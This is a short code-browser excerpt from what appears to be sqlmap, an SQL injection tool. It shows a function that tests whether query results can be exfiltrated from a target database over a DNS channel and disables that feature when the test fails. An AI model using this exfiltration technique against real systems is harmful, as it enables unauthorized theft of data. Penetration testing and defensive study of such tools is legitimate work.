(payload)
| 15 | from lib.techniques.dns.use import dnsUse |
| 16 | |
| 17 | def dnsTest(payload): |
| 18 | logger.info("testing for data retrieval through DNS channel") |
| 19 | |
| 20 | randInt = randomInt() |
| 21 | kb.dnsTest = dnsUse(payload, "SELECT %d%s" % (randInt, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""))) == str(randInt) |
| 22 | |
| 23 | if not kb.dnsTest: |
| 24 | errMsg = "data retrieval through DNS channel failed" |
| 25 | if not conf.forceDns: |
| 26 | conf.dnsDomain = None |
| 27 | errMsg += ". Turning off DNS exfiltration support" |
| 28 | logger.error(errMsg) |
| 29 | else: |
| 30 | raise SqlmapNotVulnerableException(errMsg) |
| 31 | else: |
| 32 | infoMsg = "data retrieval through DNS channel was successful" |
| 33 | logger.info(infoMsg) |
no test coverage detected
searching dependent graphs…